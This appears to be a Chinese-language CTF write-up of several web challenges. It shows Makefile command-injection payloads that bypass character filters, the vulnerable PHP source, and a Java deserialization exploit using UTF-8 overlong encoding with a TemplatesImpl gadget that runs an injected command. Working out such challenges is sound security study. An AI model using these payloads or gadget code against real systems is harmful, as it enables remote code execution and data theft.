前言
听说有java题就来看一眼,挑几题感兴趣的复现一下
Web
ezMake
Makefile 构造命令执行
随便输个命令发现可以命令执行,但是环境变量被清了导致得自己去/bin里面取命令,flag在/flag,但是直接输入/flag发现被过滤了,测试一下发现/
被过滤了
先目录穿越看看结果
我flag呢?破案了原来在/var/www/html下
构造linux命令执行
用${PWD::${ #SHLVL }}
构造/
,注意带$
的在这里都要双写
最终payload:(自行去掉缩进)
cd ..&& cd ..&&cd ..&&pwd&&cd bin&&cat $${PWD:$${ # }:$${ ## }}var$${PWD:$${ # }:$${ ## }}www$${PWD:$${ # }:$${ ## }}html$${PWD:$${ # }:$${ ## }}flag
顺带拿个makefile.php
<?php
function waf($cmd)
{
if (preg_match('/\/|\n|\r|\;|\|/i', $cmd)) {
return false;
}
return $cmd;
}
$cmd = waf($_GET['cmd']);
if ($cmd === false) {
echo json_encode(array('makefileContent' => 'failed', 'output' => 'nonono'));
} else {
$makefileContent = <<<EOD
SHELL := /bin/bash
ifndef PATH
override PATH :=
else
override PATH :=
endif
.PHONY: FLAG
FLAG: ./flag
\t$cmd
EOD;
if (file_put_contents('Makefile', $makefileContent) !== false) {
$command = "make -f Makefile 2>&1";
$output = shell_exec($command);
echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
} else {
echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
}
}
法二:shell变量替换符读文件
shell变量替换符可以读文件
$(<file)
所以payload:
echo $$(<flag)
非预期
直接访问/flag就能下载了
ez?Make
通配符匹配
测试了一下,发现l
、a
这几个字母用不了了,应该是把 /flag 这几个字符给ban了
但是这次没删环境变量,所以可以直接任意地方执行命令
接下来利用[^]
通配符反向匹配flag
最终payload:
cd ..&& cd ..&&cd ..&&pwd&&more [^b][^b][^b][^b]
εZ?¿м@Kε¿?
Makefile 自动变量 + 报错读文件
hint.php
/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/
猜测是可用字符,有$
、(
、)
、@
、[
、]
、{
、}
、<
、>
和 -
瞎测了一下
发现是make
命令,makefile文件:
SHELL := /bin/bash
ifndef PATH
override PATH :=
else
override PATH :=
endif
.PHONY: FLAG
FLAG: /flag
测试又发现:|
也可以用,但是限制长度为7个字符
那么就是参考7字符的写shell,但是没字母怎么写?
$<:目标依赖列表中的第一个依赖,这里是/flag,但是没权限读
$@:目标,输出FLAG,也没权限
$$-:即$-,返回字符串hBc,shell启动了hBc模式
$$[]:即$[],代表0
$$$:即$$,代表进程id?
$${}:即${}
$^:所有目标依赖,此处不可用
$?:所有目标依赖中被修改过的文件,此处不可用
那么就是参考7字符的写shell,但是没字母怎么写?
正解
这里有个坑点:不要试$>
,会导致重定向输出创建新文件,然后会影响后续判断依赖是FLAG导致读不了/flag
payload:利用${</flag}
报错带出flag(这个payload前面几题也能用)
$$(<$<)
baby_unserialize(复现)
参考:https://blog.csdn.net/Err0r233/article/details/138233565
黑盒java
ctrl+u发现hint:/ser
访问/ser
路由,回显This is a fantastic tool that will convert your input(BASE64) to Object
测试发现要post传入payload参数,然后会进行反序列化
先拿urldns链测试一下
成功执行,说明入口类source Hashmap可用,该处存在Java反序化漏洞点,而且出网
尝试直接打cc链,会回显???HOW DARE YOU!!?
解法一:UTF-8 Overlong Encoding
测了半天发现一堆gadget打不了,原来是把commons.collections
给ban了,ban的方式应该是检测解码后的String是否含有commons.collections
那么只需要绕这个就行,想起了前阵子p神知识星球里发的UTF-8 Overlong Encoding
然后打cc6,我自己的cc6编码完开头还会有commons.collections
,不懂。。。
后面发现是我多加了这一段代码
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
这一段好像会把序列化的字节数据写入 barr
顺便白嫖了别的师傅的编码工具类(
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class Utils {
public static String getTemplatesImplBase64() throws Exception{
return new String(Base64.getEncoder().encode(GenerateEvil()));
}
public static byte[] GenerateEvil() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();
}
public static void SetValue(Object obj, String name, Object value) throws Exception {
Class clz = obj.getClass();
Field nameField = clz.getDeclaredField(name);
nameField.setAccessible(true);
nameField.set(obj, value);
}
public static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateEvil()};
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_bytecodes", bytes);
SetValue(templates, "_name", "aaa");
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static String Serialize(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(o);
String str = new String(Base64.getEncoder().encode(baos.toByteArray()));
return str;
}
public static void UnSerialize(String str) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(str)));
objectInputStream.readObject();
}
public static String Base64_Encode(byte[] bytes) throws Exception{
return new String(Base64.getEncoder().encode(bytes));
}
public static String Byte2Hex(byte[] bytes) throws Exception{
StringBuilder builder = new StringBuilder();
for(byte b: bytes){
builder.append(String.format("%02X", b));
}
System.out.println(builder.toString());
return builder.toString();
}
public static byte[] Hex2Byte(String hexString) {
int len = hexString.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
+ Character.digit(hexString.charAt(i+1), 16));
}
return data;
}
}
这里的话就是引入包然后在最后一段加上这一句实现base64编码
import com.example.Utils;
System.out.println(Utils.Base64_Encode(barr.toByteArray()));
此时再解码就发现没有 commons.collections 了
然后url编码完打过去回显Class name not accepted: [Ljava.lang.String;
,淦,原来是前面命令执行的语句new了个String,应该是Object的
于是弹shell